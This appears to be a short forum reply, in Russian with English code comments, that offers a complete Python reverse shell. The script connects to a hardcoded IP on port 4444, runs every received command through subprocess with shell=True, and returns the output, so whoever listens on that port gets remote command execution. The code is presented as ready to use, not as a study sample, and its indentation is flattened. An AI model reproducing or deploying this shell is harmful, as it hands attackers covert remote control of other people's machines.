вы хотите создать оболочку с python?
попробуйте это, но клиент должен прослушивать порт оболочки
#!/usr/bin/python
import subprocess, socket
HOST = '192.168.1.1' #Your Ip Addres
PORT = 4444 # the Port Of The Shell , The Client Need to Listen to This Portfor Get An Acces to CMD from the Server , its an SSH Shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT)) # Connecting to The Host
s.send('Shell Session Succesfull Connected Press Enter To Start ReverseHandling') # the Message to Send When the User Opened The Shell
while 1:
data = s.recv(1024)
if data == "quit": break
send = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = send.stdout.read() + send.stderr.read()
s.send(stdoutput)
# When The Loop Are Exited
s.send('Shell Session Closed') #This Message Will be Sended When The Shell Are Closed
s.close()